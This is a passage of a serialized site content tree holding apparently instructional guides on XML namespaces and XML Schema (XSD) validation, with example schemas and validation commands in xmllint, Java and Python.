namespace\u003C\u002Fchild>\n\u003C\u002Froot>\n",[143,227896,227897,227902,227907,227912,227917],{"__ignoreMap":141},[1560,227898,227899],{"class":1562,"line":1563},[1560,227900,227901],{},"\u003Croot xmlns=\"http:\u002F\u002Fexample.com\u002Fdefault\">\n",[1560,227903,227904],{"class":1562,"line":337},[1560,227905,227906],{},"  \u003Cchild>Default namespace\u003C\u002Fchild>\n",[1560,227908,227909],{"class":1562,"line":343},[1560,227910,227911],{},"  \u003Cchild xmlns=\"http:\u002F\u002Fexample.com\u002Fother\">Different namespace\u003C\u002Fchild>\n",[1560,227913,227914],{"class":1562,"line":365},[1560,227915,227916],{},"  \u003Cchild>Back to default namespace\u003C\u002Fchild>\n",[1560,227918,227919],{"class":1562,"line":889},[1560,227920,227921],{},"\u003C\u002Froot>\n",[16,227923,57457,227924,227927,227928,227930],{},[143,227925,227926],{},"\u003Cchild>"," element's namespace is determined by the closest ",[143,227929,227578],{}," declaration going up the tree.",[11,227932,227934],{"id":227933},"common-namespace-urls","Common Namespace URLs",[193,227936,227937,227949],{},[196,227938,227939],{},[199,227940,227941,227943,227946],{},[202,227942,132011],{},[202,227944,227945],{},"URI",[202,227947,227948],{},"Used For",[211,227950,227951,227964,227978,227993,228008,228022],{},[199,227952,227953,227957,227961],{},[216,227954,227955],{},[143,227956,84956],{},[216,227958,227959],{},[143,227960,227859],{},[216,227962,227963],{},"Built-in XML attributes (lang, space, base)",[199,227965,227966,227970,227975],{},[216,227967,227968],{},[143,227969,227578],{},[216,227971,227972],{},[143,227973,227974],{},"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fxmlns\u002F",[216,227976,227977],{},"Namespace declarations themselves",[199,227979,227980,227985,227990],{},[216,227981,227982],{},[143,227983,227984],{},"xsi",[216,227986,227987],{},[143,227988,227989],{},"http:\u002F\u002Fwww.w3.org\u002F2001\u002FXMLSchema-instance",[216,227991,227992],{},"Schema-related attributes (type, nil, schemaLocation)",[199,227994,227995,228000,228005],{},[216,227996,227997],{},[143,227998,227999],{},"xsl",[216,228001,228002],{},[143,228003,228004],{},"http:\u002F\u002Fwww.w3.org\u002F1999\u002FXSL\u002FTransform",[216,228006,228007],{},"XSLT stylesheets",[199,228009,228010,228014,228019],{},[216,228011,228012],{},[143,228013,11192],{},[216,228015,228016],{},[143,228017,228018],{},"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg",[216,228020,228021],{},"SVG graphics",[199,228023,228024,228029,228034],{},[216,228025,228026],{},[143,228027,228028],{},"xhtml",[216,228030,228031],{},[143,228032,228033],{},"http:\u002F\u002Fwww.w3.org\u002F1999\u002Fxhtml",[216,228035,228036],{},"XHTML documents",[16,228038,421,228039,1856,228041,228043],{},[143,228040,84956],{},[143,228042,227578],{}," prefixes are reserved — you cannot redeclare them.",[11,228045,25893],{"id":25892},[41,228047,228048,228054,228060,228066,228072],{},[44,228049,228050,228053],{},[47,228051,228052],{},"Use default namespace for the dominant vocabulary"," in your document to reduce noise.",[44,228055,228056,228059],{},[47,228057,228058],{},"Use prefixes for secondary vocabularies"," like metadata or inline elements from other domains.",[44,228061,228062,228065],{},[47,228063,228064],{},"Never use relative URIs as namespace identifiers"," — they are deprecated and cause interoperability issues.",[44,228067,228068,228071],{},[47,228069,228070],{},"Be consistent with prefix names"," across your organization, even though the prefix is technically arbitrary.",[44,228073,228074,228077],{},[47,228075,228076],{},"Remember: unprefixed attributes are never in a namespace",", regardless of the default namespace on the element.",[11,228079,1355],{"id":1354},[41,228081,228082,228085,228088,228091,228094,228097],{},[44,228083,228084],{},"Namespaces prevent name collisions by pairing local names with URIs",[44,228086,228087],{},"The prefix is just a shorthand — only the URI matters for identity",[44,228089,228090],{},"Default namespace applies to elements, never to unprefixed attributes",[44,228092,228093],{},"Namespace URI does not need to be a real URL — it is an identifier",[44,228095,228096],{},"Child elements override parent namespace declarations",[44,228098,228099],{},"Prefixed attributes are the only way to put an attribute in a namespace",[11,228101,286],{"id":285},[16,228103,228104,228105,228107],{},"Format XML documents with proper namespace indentation using our ",[98,228106,85485],{"href":85585},". Paste your XML and see clean, readable output instantly.",[2043,228109,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":228111},[228112,228113,228116,228117,228118,228119,228120,228121,228122,228123],{"id":227551,"depth":337,"text":227552},{"id":227571,"depth":337,"text":227572,"children":228114},[228115],{"id":227613,"depth":343,"text":227614},{"id":227659,"depth":337,"text":227660},{"id":227723,"depth":337,"text":227724},{"id":227804,"depth":337,"text":227805},{"id":227887,"depth":337,"text":227888},{"id":227933,"depth":337,"text":227934},{"id":25892,"depth":337,"text":25893},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Understand XML namespaces — why they exist, how URIs and prefixes work, and the exact rules for default vs prefixed namespaces in elements and attributes.",{"immutable":363},"\u002Fguides\u002Fxml-namespaces-explained",{"title":227546,"description":228124},"guides\u002Fxml-namespaces-explained","8BG4C_q9ZueQEkW4c8MqCljXhGf4hMiCMbFSXMMtY6I",{"id":228131,"title":228132,"body":228133,"date":2070,"description":229135,"extension":361,"meta":229136,"navigation":363,"path":229137,"readingTime":889,"seo":229138,"stem":229139,"__hash__":229140},"guides\u002Fguides\u002Fxml-schema-validation-guide.md","XML Schema Validation Guide",{"type":8,"value":228134,"toc":229118},[228135,228139,228146,228153,228157,228211,228214,228218,228233,228336,228339,228379,228383,228386,228516,228520,228523,228636,228640,228690,228747,228751,228794,228824,228828,228832,228883,228887,228941,228943,229005,229009,229078,229080,229107,229109,229115],[11,228136,228138],{"id":228137},"what-is-xml-schema-validation","What Is XML Schema Validation?",[16,228140,228141,228142,228145],{},"Well-formed XML follows syntax rules — tags close properly, attributes are quoted, and one root element wraps everything. Valid XML goes further: it conforms to a ",[47,228143,228144],{},"schema"," that defines what elements and attributes are allowed, in what order, with what data types.",[16,228147,228148,228149,228152],{},"The most common schema language is ",[47,228150,228151],{},"XSD (XML Schema Definition)",". An XSD file describes the blueprint your XML must follow.",[11,228154,228156],{"id":228155},"why-validate-against-a-schema","Why Validate Against a Schema?",[193,228158,228159,228169],{},[196,228160,228161],{},[199,228162,228163,228166],{},[202,228164,228165],{},"Without Schema",[202,228167,228168],{},"With Schema",[211,228170,228171,228179,228187,228195,228203],{},[199,228172,228173,228176],{},[216,228174,228175],{},"Any element name works",[216,228177,228178],{},"Only declared elements allowed",[199,228180,228181,228184],{},[216,228182,228183],{},"Text appears anywhere",[216,228185,228186],{},"Content restricted to defined types",[199,228188,228189,228192],{},[216,228190,228191],{},"Attributes are unconstrained",[216,228193,228194],{},"Attributes must match declared types",[199,228196,228197,228200],{},[216,228198,228199],{},"Optional\u002Frequired is ambiguous",[216,228201,228202],{},"minOccurs\u002FmaxOccurs enforce cardinality",[199,228204,228205,228208],{},[216,228206,228207],{},"Errors surface at parsing time",[216,228209,228210],{},"Errors caught at validation time — earlier and clearer",[16,228212,228213],{},"Schema validation catches data problems before they reach your application logic.",[11,228215,228217],{"id":228216},"basic-xsd-structure","Basic XSD Structure",[16,228219,228220,228221,1459,228224,1466,228227,9423,228230,8037],{},"An XSD defines types using ",[143,228222,228223],{},"\u003Celement>",[143,228225,228226],{},"\u003Cattribute>",[143,228228,228229],{},"\u003CsimpleType>",[143,228231,228232],{},"\u003CcomplexType>",[135,228234,228236],{"className":84954,"code":228235,"language":84956,"meta":141,"style":141},"\u003Cxs:schema xmlns:xs=\"http:\u002F\u002Fwww.w3.org\u002F2001\u002FXMLSchema\">\n\n  \u003Cxs:element name=\"bookstore\">\n    \u003Cxs:complexType>\n      \u003Cxs:sequence>\n        \u003Cxs:element name=\"book\" maxOccurs=\"unbounded\">\n          \u003Cxs:complexType>\n            \u003Cxs:sequence>\n              \u003Cxs:element name=\"title\" type=\"xs:string\"\u002F>\n              \u003Cxs:element name=\"author\" type=\"xs:string\"\u002F>\n              \u003Cxs:element name=\"price\" type=\"xs:decimal\"\u002F>\n            \u003C\u002Fxs:sequence>\n            \u003Cxs:attribute name=\"id\" type=\"xs:integer\" use=\"required\"\u002F>\n          \u003C\u002Fxs:complexType>\n        \u003C\u002Fxs:element>\n      \u003C\u002Fxs:sequence>\n    \u003C\u002Fxs:complexType>\n  \u003C\u002Fxs:element>\n\n\u003C\u002Fxs:schema>\n",[143,228237,228238,228243,228247,228252,228257,228262,228267,228272,228277,228282,228287,228292,228297,228302,228307,228312,228317,228322,228327,228331],{"__ignoreMap":141},[1560,228239,228240],{"class":1562,"line":1563},[1560,228241,228242],{},"\u003Cxs:schema xmlns:xs=\"http:\u002F\u002Fwww.w3.org\u002F2001\u002FXMLSchema\">\n",[1560,228244,228245],{"class":1562,"line":337},[1560,228246,1702],{"emptyLinePlaceholder":363},[1560,228248,228249],{"class":1562,"line":343},[1560,228250,228251],{},"  \u003Cxs:element name=\"bookstore\">\n",[1560,228253,228254],{"class":1562,"line":365},[1560,228255,228256],{},"    \u003Cxs:complexType>\n",[1560,228258,228259],{"class":1562,"line":889},[1560,228260,228261],{},"      \u003Cxs:sequence>\n",[1560,228263,228264],{"class":1562,"line":1710},[1560,228265,228266],{},"        \u003Cxs:element name=\"book\" maxOccurs=\"unbounded\">\n",[1560,228268,228269],{"class":1562,"line":1717},[1560,228270,228271],{},"          \u003Cxs:complexType>\n",[1560,228273,228274],{"class":1562,"line":1747},[1560,228275,228276],{},"            \u003Cxs:sequence>\n",[1560,228278,228279],{"class":1562,"line":2507},[1560,228280,228281],{},"              \u003Cxs:element name=\"title\" type=\"xs:string\"\u002F>\n",[1560,228283,228284],{"class":1562,"line":2524},[1560,228285,228286],{},"              \u003Cxs:element name=\"author\" type=\"xs:string\"\u002F>\n",[1560,228288,228289],{"class":1562,"line":2529},[1560,228290,228291],{},"              \u003Cxs:element name=\"price\" type=\"xs:decimal\"\u002F>\n",[1560,228293,228294],{"class":1562,"line":2534},[1560,228295,228296],{},"            \u003C\u002Fxs:sequence>\n",[1560,228298,228299],{"class":1562,"line":2542},[1560,228300,228301],{},"            \u003Cxs:attribute name=\"id\" type=\"xs:integer\" use=\"required\"\u002F>\n",[1560,228303,228304],{"class":1562,"line":2558},[1560,228305,228306],{},"          \u003C\u002Fxs:complexType>\n",[1560,228308,228309],{"class":1562,"line":2570},[1560,228310,228311],{},"        \u003C\u002Fxs:element>\n",[1560,228313,228314],{"class":1562,"line":6638},[1560,228315,228316],{},"      \u003C\u002Fxs:sequence>\n",[1560,228318,228319],{"class":1562,"line":11615},[1560,228320,228321],{},"    \u003C\u002Fxs:complexType>\n",[1560,228323,228324],{"class":1562,"line":11621},[1560,228325,228326],{},"  \u003C\u002Fxs:element>\n",[1560,228328,228329],{"class":1562,"line":11633},[1560,228330,1702],{"emptyLinePlaceholder":363},[1560,228332,228333],{"class":1562,"line":11638},[1560,228334,228335],{},"\u003C\u002Fxs:schema>\n",[16,228337,228338],{},"This schema requires:",[41,228340,228341,228347,228353,228367,228374],{},[44,228342,228343,228344,168922],{},"A root ",[143,228345,228346],{},"\u003Cbookstore>",[44,228348,228349,228350,228352],{},"One or more ",[143,228351,227609],{}," children (maxOccurs=\"unbounded\")",[44,228354,57457,228355,228357,228358,1459,228360,1459,228363,228366],{},[143,228356,227609],{}," has ",[143,228359,12666],{},[143,228361,228362],{},"\u003Cauthor>",[143,228364,228365],{},"\u003Cprice>"," in that order",[44,228368,57457,228369,228371,228372,87420],{},[143,228370,227609],{}," has a required integer ",[143,228373,34747],{},[44,228375,228376,228378],{},[143,228377,228365],{}," must be a decimal number",[11,228380,228382],{"id":228381},"xsd-data-types","XSD Data Types",[16,228384,228385],{},"XSD provides built-in types for precise validation:",[193,228387,228388,228398],{},[196,228389,228390],{},[199,228391,228392,228394,228396],{},[202,228393,34969],{},[202,228395,207],{},[202,228397,133],{},[211,228399,228400,228411,228423,228436,228448,228460,228473,228489,228504],{},[199,228401,228402,228407,228409],{},[216,228403,228404],{},[143,228405,228406],{},"xs:string",[216,228408,30784],{},[216,228410,155232],{},[199,228412,228413,228418,228421],{},[216,228414,228415],{},[143,228416,228417],{},"xs:integer",[216,228419,228420],{},"Whole number",[216,228422,14520],{},[199,228424,228425,228430,228433],{},[216,228426,228427],{},[143,228428,228429],{},"xs:decimal",[216,228431,228432],{},"Fixed-point number",[216,228434,228435],{},"29.99",[199,228437,228438,228443,228446],{},[216,228439,228440],{},[143,228441,228442],{},"xs:boolean",[216,228444,228445],{},"True\u002Ffalse",[216,228447,20533],{},[199,228449,228450,228455,228458],{},[216,228451,228452],{},[143,228453,228454],{},"xs:date",[216,228456,228457],{},"Date (YYYY-MM-DD)",[216,228459,2070],{},[199,228461,228462,228467,228470],{},[216,228463,228464],{},[143,228465,228466],{},"xs:dateTime",[216,228468,228469],{},"Date and time",[216,228471,228472],{},"2026-05-28T14:30:00",[199,228474,228475,228480,228483],{},[216,228476,228477],{},[143,228478,228479],{},"xs:email",[216,228481,228482],{},"Email format (via pattern)",[216,228484,228485],{},[98,228486,228488],{"href":228487},"mailto:user@example.com","user@example.com",[199,228490,228491,228496,228499],{},[216,228492,228493],{},[143,228494,228495],{},"xs:anyURI",[216,228497,228498],{},"URI reference",[216,228500,228501],{},[98,228502,110044],{"href":110044,"rel":228503},[14956],[199,228505,228506,228511,228514],{},[216,228507,228508],{},[143,228509,228510],{},"xs:token",[216,228512,228513],{},"Whitespace-normalized string",[216,228515,204496],{},[11,228517,228519],{"id":228518},"restricting-values-with-simpletype","Restricting Values with simpleType",[16,228521,228522],{},"Custom types add constraints beyond built-in types:",[135,228524,228526],{"className":84954,"code":228525,"language":84956,"meta":141,"style":141},"\u003C!-- Enum: only specific values allowed -->\n\u003Cxs:simpleType name=\"genreType\">\n  \u003Cxs:restriction base=\"xs:string\">\n    \u003Cxs:enumeration value=\"fiction\"\u002F>\n    \u003Cxs:enumeration value=\"nonfiction\"\u002F>\n    \u003Cxs:enumeration value=\"biography\"\u002F>\n  \u003C\u002Fxs:restriction>\n\u003C\u002Fxs:simpleType>\n\n\u003C!-- Pattern: regex constraint -->\n\u003Cxs:simpleType name=\"isbnType\">\n  \u003Cxs:restriction base=\"xs:string\">\n    \u003Cxs:pattern value=\"\\d{3}-\\d{1,5}-\\d{1,7}-\\d{1}\"\u002F>\n  \u003C\u002Fxs:restriction>\n\u003C\u002Fxs:simpleType>\n\n\u003C!-- Range: numeric bounds -->\n\u003Cxs:simpleType name=\"priceType\">\n  \u003Cxs:restriction base=\"xs:decimal\">\n    \u003Cxs:minInclusive value=\"0.01\"\u002F>\n    \u003Cxs:maxExclusive value=\"999.99\"\u002F>\n  \u003C\u002Fxs:restriction>\n\u003C\u002Fxs:simpleType>\n",[143,228527,228528,228533,228538,228543,228548,228553,228558,228563,228568,228572,228577,228582,228586,228591,228595,228599,228603,228608,228613,228618,228623,228628,228632],{"__ignoreMap":141},[1560,228529,228530],{"class":1562,"line":1563},[1560,228531,228532],{},"\u003C!-- Enum: only specific values allowed -->\n",[1560,228534,228535],{"class":1562,"line":337},[1560,228536,228537],{},"\u003Cxs:simpleType name=\"genreType\">\n",[1560,228539,228540],{"class":1562,"line":343},[1560,228541,228542],{},"  \u003Cxs:restriction base=\"xs:string\">\n",[1560,228544,228545],{"class":1562,"line":365},[1560,228546,228547],{},"    \u003Cxs:enumeration value=\"fiction\"\u002F>\n",[1560,228549,228550],{"class":1562,"line":889},[1560,228551,228552],{},"    \u003Cxs:enumeration value=\"nonfiction\"\u002F>\n",[1560,228554,228555],{"class":1562,"line":1710},[1560,228556,228557],{},"    \u003Cxs:enumeration value=\"biography\"\u002F>\n",[1560,228559,228560],{"class":1562,"line":1717},[1560,228561,228562],{},"  \u003C\u002Fxs:restriction>\n",[1560,228564,228565],{"class":1562,"line":1747},[1560,228566,228567],{},"\u003C\u002Fxs:simpleType>\n",[1560,228569,228570],{"class":1562,"line":2507},[1560,228571,1702],{"emptyLinePlaceholder":363},[1560,228573,228574],{"class":1562,"line":2524},[1560,228575,228576],{},"\u003C!-- Pattern: regex constraint -->\n",[1560,228578,228579],{"class":1562,"line":2529},[1560,228580,228581],{},"\u003Cxs:simpleType name=\"isbnType\">\n",[1560,228583,228584],{"class":1562,"line":2534},[1560,228585,228542],{},[1560,228587,228588],{"class":1562,"line":2542},[1560,228589,228590],{},"    \u003Cxs:pattern value=\"\\d{3}-\\d{1,5}-\\d{1,7}-\\d{1}\"\u002F>\n",[1560,228592,228593],{"class":1562,"line":2558},[1560,228594,228562],{},[1560,228596,228597],{"class":1562,"line":2570},[1560,228598,228567],{},[1560,228600,228601],{"class":1562,"line":6638},[1560,228602,1702],{"emptyLinePlaceholder":363},[1560,228604,228605],{"class":1562,"line":11615},[1560,228606,228607],{},"\u003C!-- Range: numeric bounds -->\n",[1560,228609,228610],{"class":1562,"line":11621},[1560,228611,228612],{},"\u003Cxs:simpleType name=\"priceType\">\n",[1560,228614,228615],{"class":1562,"line":11633},[1560,228616,228617],{},"  \u003Cxs:restriction base=\"xs:decimal\">\n",[1560,228619,228620],{"class":1562,"line":11638},[1560,228621,228622],{},"    \u003Cxs:minInclusive value=\"0.01\"\u002F>\n",[1560,228624,228625],{"class":1562,"line":11672},[1560,228626,228627],{},"    \u003Cxs:maxExclusive value=\"999.99\"\u002F>\n",[1560,228629,228630],{"class":1562,"line":19435},[1560,228631,228562],{},[1560,228633,228634],{"class":1562,"line":19442},[1560,228635,228567],{},[11,228637,228639],{"id":228638},"cardinality-control","Cardinality Control",[193,228641,228642,228652],{},[196,228643,228644],{},[199,228645,228646,228648,228650],{},[202,228647,135369],{},[202,228649,4228],{},[202,228651,47403],{},[211,228653,228654,228666,228678],{},[199,228655,228656,228661,228664],{},[216,228657,228658],{},[143,228659,228660],{},"minOccurs",[216,228662,228663],{},"Minimum occurrences",[216,228665,3585],{},[199,228667,228668,228673,228676],{},[216,228669,228670],{},[143,228671,228672],{},"maxOccurs",[216,228674,228675],{},"Maximum occurrences",[216,228677,3585],{},[199,228679,228680,228685,228688],{},[216,228681,228682],{},[143,228683,228684],{},"maxOccurs=\"unbounded\"",[216,228686,228687],{},"No upper limit",[216,228689,3060],{},[135,228691,228693],{"className":84954,"code":228692,"language":84956,"meta":141,"style":141},"\u003C!-- Required element, exactly one -->\n\u003Cxs:element name=\"title\" type=\"xs:string\"\u002F>\n\n\u003C!-- Optional element, zero or one -->\n\u003Cxs:element name=\"subtitle\" type=\"xs:string\" minOccurs=\"0\"\u002F>\n\n\u003C!-- One to five authors -->\n\u003Cxs:element name=\"author\" type=\"xs:string\" maxOccurs=\"5\"\u002F>\n\n\u003C!-- Unlimited reviews -->\n\u003Cxs:element name=\"review\" type=\"xs:string\" minOccurs=\"0\" maxOccurs=\"unbounded\"\u002F>\n",[143,228694,228695,228700,228705,228709,228714,228719,228723,228728,228733,228737,228742],{"__ignoreMap":141},[1560,228696,228697],{"class":1562,"line":1563},[1560,228698,228699],{},"\u003C!-- Required element, exactly one -->\n",[1560,228701,228702],{"class":1562,"line":337},[1560,228703,228704],{},"\u003Cxs:element name=\"title\" type=\"xs:string\"\u002F>\n",[1560,228706,228707],{"class":1562,"line":343},[1560,228708,1702],{"emptyLinePlaceholder":363},[1560,228710,228711],{"class":1562,"line":365},[1560,228712,228713],{},"\u003C!-- Optional element, zero or one -->\n",[1560,228715,228716],{"class":1562,"line":889},[1560,228717,228718],{},"\u003Cxs:element name=\"subtitle\" type=\"xs:string\" minOccurs=\"0\"\u002F>\n",[1560,228720,228721],{"class":1562,"line":1710},[1560,228722,1702],{"emptyLinePlaceholder":363},[1560,228724,228725],{"class":1562,"line":1717},[1560,228726,228727],{},"\u003C!-- One to five authors -->\n",[1560,228729,228730],{"class":1562,"line":1747},[1560,228731,228732],{},"\u003Cxs:element name=\"author\" type=\"xs:string\" maxOccurs=\"5\"\u002F>\n",[1560,228734,228735],{"class":1562,"line":2507},[1560,228736,1702],{"emptyLinePlaceholder":363},[1560,228738,228739],{"class":1562,"line":2524},[1560,228740,228741],{},"\u003C!-- Unlimited reviews -->\n",[1560,228743,228744],{"class":1562,"line":2529},[1560,228745,228746],{},"\u003Cxs:element name=\"review\" type=\"xs:string\" minOccurs=\"0\" maxOccurs=\"unbounded\"\u002F>\n",[11,228748,228750],{"id":228749},"sequence-vs-choice-vs-all","Sequence vs Choice vs All",[193,228752,228753,228762],{},[196,228754,228755],{},[199,228756,228757,228760],{},[202,228758,228759],{},"Compositor",[202,228761,17960],{},[211,228763,228764,228774,228784],{},[199,228765,228766,228771],{},[216,228767,228768],{},[143,228769,228770],{},"\u003Cxs:sequence>",[216,228772,228773],{},"Elements must appear in order",[199,228775,228776,228781],{},[216,228777,228778],{},[143,228779,228780],{},"\u003Cxs:choice>",[216,228782,228783],{},"Exactly one of the listed elements",[199,228785,228786,228791],{},[216,228787,228788],{},[143,228789,228790],{},"\u003Cxs:all>",[216,228792,228793],{},"Elements appear in any order, each at most once",[135,228795,228797],{"className":84954,"code":228796,"language":84956,"meta":141,"style":141},"\u003C!-- Either a book or a magazine, not both -->\n\u003Cxs:choice>\n  \u003Cxs:element name=\"book\" type=\"bookType\"\u002F>\n  \u003Cxs:element name=\"magazine\" type=\"magazineType\"\u002F>\n\u003C\u002Fxs:choice>\n",[143,228798,228799,228804,228809,228814,228819],{"__ignoreMap":141},[1560,228800,228801],{"class":1562,"line":1563},[1560,228802,228803],{},"\u003C!-- Either a book or a magazine, not both -->\n",[1560,228805,228806],{"class":1562,"line":337},[1560,228807,228808],{},"\u003Cxs:choice>\n",[1560,228810,228811],{"class":1562,"line":343},[1560,228812,228813],{},"  \u003Cxs:element name=\"book\" type=\"bookType\"\u002F>\n",[1560,228815,228816],{"class":1562,"line":365},[1560,228817,228818],{},"  \u003Cxs:element name=\"magazine\" type=\"magazineType\"\u002F>\n",[1560,228820,228821],{"class":1562,"line":889},[1560,228822,228823],{},"\u003C\u002Fxs:choice>\n",[11,228825,228827],{"id":228826},"validating-xml-against-xsd","Validating XML Against XSD",[33,228829,228831],{"id":228830},"command-line","Command Line",[135,228833,228835],{"className":6951,"code":228834,"language":6953,"meta":141,"style":141},"# Using xmllint\nxmllint --schema books.xsd books.xml --noout\n\n# Using Java\njava -jar jing.jar books.xsd books.xml\n",[143,228836,228837,228842,228859,228863,228868],{"__ignoreMap":141},[1560,228838,228839],{"class":1562,"line":1563},[1560,228840,228841],{"class":1649},"# Using xmllint\n",[1560,228843,228844,228847,228850,228853,228856],{"class":1562,"line":337},[1560,228845,228846],{"class":1566},"xmllint",[1560,228848,228849],{"class":1576}," --schema",[1560,228851,228852],{"class":5634}," books.xsd",[1560,228854,228855],{"class":5634}," books.xml",[1560,228857,228858],{"class":1576}," --noout\n",[1560,228860,228861],{"class":1562,"line":343},[1560,228862,1702],{"emptyLinePlaceholder":363},[1560,228864,228865],{"class":1562,"line":365},[1560,228866,228867],{"class":1649},"# Using Java\n",[1560,228869,228870,228872,228875,228878,228880],{"class":1562,"line":889},[1560,228871,10185],{"class":1566},[1560,228873,228874],{"class":1576}," -jar",[1560,228876,228877],{"class":5634}," jing.jar",[1560,228879,228852],{"class":5634},[1560,228881,228882],{"class":5634}," books.xml\n",[33,228884,228886],{"id":228885},"javascript-browser","JavaScript (Browser)",[135,228888,228890],{"className":1607,"code":228889,"language":1609,"meta":141,"style":141},"const parser = new DOMParser();\nconst doc = parser.parseFromString(xmlString, 'application\u002Fxml');\n\u002F\u002F Browser validators check well-formedness only —\n\u002F\u002F Full XSD validation requires a server-side tool\n",[143,228891,228892,228908,228931,228936],{"__ignoreMap":141},[1560,228893,228894,228896,228899,228901,228903,228906],{"class":1562,"line":1563},[1560,228895,8180],{"class":1669},[1560,228897,228898],{"class":1576}," parser",[1560,228900,8186],{"class":1669},[1560,228902,11489],{"class":1669},[1560,228904,228905],{"class":1566}," DOMParser",[1560,228907,90158],{"class":1570},[1560,228909,228910,228912,228915,228917,228920,228923,228926,228929],{"class":1562,"line":337},[1560,228911,8180],{"class":1669},[1560,228913,228914],{"class":1576}," doc",[1560,228916,8186],{"class":1669},[1560,228918,228919],{"class":1570}," parser.",[1560,228921,228922],{"class":1566},"parseFromString",[1560,228924,228925],{"class":1570},"(xmlString, ",[1560,228927,228928],{"class":5634},"'application\u002Fxml'",[1560,228930,1744],{"class":1570},[1560,228932,228933],{"class":1562,"line":343},[1560,228934,228935],{"class":1649},"\u002F\u002F Browser validators check well-formedness only —\n",[1560,228937,228938],{"class":1562,"line":365},[1560,228939,228940],{"class":1649},"\u002F\u002F Full XSD validation requires a server-side tool\n",[33,228942,9840],{"id":8261},[135,228944,228946],{"className":8259,"code":228945,"language":8261,"meta":141,"style":141},"from lxml import etree\n\nschema_root = etree.parse('books.xsd')\nschema = etree.XMLSchema(schema_root)\n\ndoc = etree.parse('books.xml')\nis_valid = schema.validate(doc)\n# True or False\n\nif not is_valid:\n    for error in schema.error_log:\n        print(f\"Line {error.line}: {error.message}\")\n",[143,228947,228948,228953,228957,228962,228967,228971,228976,228981,228986,228990,228995,229000],{"__ignoreMap":141},[1560,228949,228950],{"class":1562,"line":1563},[1560,228951,228952],{},"from lxml import etree\n",[1560,228954,228955],{"class":1562,"line":337},[1560,228956,1702],{"emptyLinePlaceholder":363},[1560,228958,228959],{"class":1562,"line":343},[1560,228960,228961],{},"schema_root = etree.parse('books.xsd')\n",[1560,228963,228964],{"class":1562,"line":365},[1560,228965,228966],{},"schema = etree.XMLSchema(schema_root)\n",[1560,228968,228969],{"class":1562,"line":889},[1560,228970,1702],{"emptyLinePlaceholder":363},[1560,228972,228973],{"class":1562,"line":1710},[1560,228974,228975],{},"doc = etree.parse('books.xml')\n",[1560,228977,228978],{"class":1562,"line":1717},[1560,228979,228980],{},"is_valid = schema.validate(doc)\n",[1560,228982,228983],{"class":1562,"line":1747},[1560,228984,228985],{},"# True or False\n",[1560,228987,228988],{"class":1562,"line":2507},[1560,228989,1702],{"emptyLinePlaceholder":363},[1560,228991,228992],{"class":1562,"line":2524},[1560,228993,228994],{},"if not is_valid:\n",[1560,228996,228997],{"class":1562,"line":2529},[1560,228998,228999],{},"    for error in schema.error_log:\n",[1560,229001,229002],{"class":1562,"line":2534},[1560,229003,229004],{},"        print(f\"Line {error.line}: {error.message}\")\n",[11,229006,229008],{"id":229007},"common-validation-errors","Common Validation Errors",[193,229010,229011,229021],{},[196,229012,229013],{},[199,229014,229015,229017,229019],{},[202,229016,4272],{},[202,229018,59374],{},[202,229020,3690],{},[211,229022,229023,229034,229045,229056,229067],{},[199,229024,229025,229028,229031],{},[216,229026,229027],{},"\"Element not expected\"",[216,229029,229030],{},"Undeclared element",[216,229032,229033],{},"Add element to schema",[199,229035,229036,229039,229042],{},[216,229037,229038],{},"\"Attribute not allowed\"",[216,229040,229041],{},"Undeclared attribute",[216,229043,229044],{},"Add attribute to complexType",[199,229046,229047,229050,229053],{},[216,229048,229049],{},"\"Text not allowed\"",[216,229051,229052],{},"Text in element-only content",[216,229054,229055],{},"Wrap text in a child element",[199,229057,229058,229061,229064],{},[216,229059,229060],{},"\"Value not valid\"",[216,229062,229063],{},"Wrong data type",[216,229065,229066],{},"Match the declared type",[199,229068,229069,229072,229075],{},[216,229070,229071],{},"\"Missing required attribute\"",[216,229073,229074],{},"use=\"required\" not satisfied",[216,229076,229077],{},"Add the attribute to XML",[11,229079,1355],{"id":1354},[41,229081,229082,229085,229088,229094,229101,229104],{},[44,229083,229084],{},"Schema validation catches structural and type errors that well-formedness checks miss",[44,229086,229087],{},"XSD defines allowed elements, attributes, order, cardinality, and data types",[44,229089,229090,229093],{},[143,229091,229092],{},"simpleType"," with restrictions enforces enums, patterns, and numeric ranges",[44,229095,229096,1856,229098,229100],{},[143,229097,228660],{},[143,229099,228672],{}," control element frequency",[44,229102,229103],{},"Use command-line tools or language libraries to validate XML against XSD before processing",[44,229105,229106],{},"Always validate XML from external sources — never trust structure",[11,229108,286],{"id":285},[16,229110,229111,229112,229114],{},"Format and validate your XML documents with our ",[98,229113,85485],{"href":85585},". Paste messy XML, format it for readability, and check well-formedness instantly.",[2043,229116,229117],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki 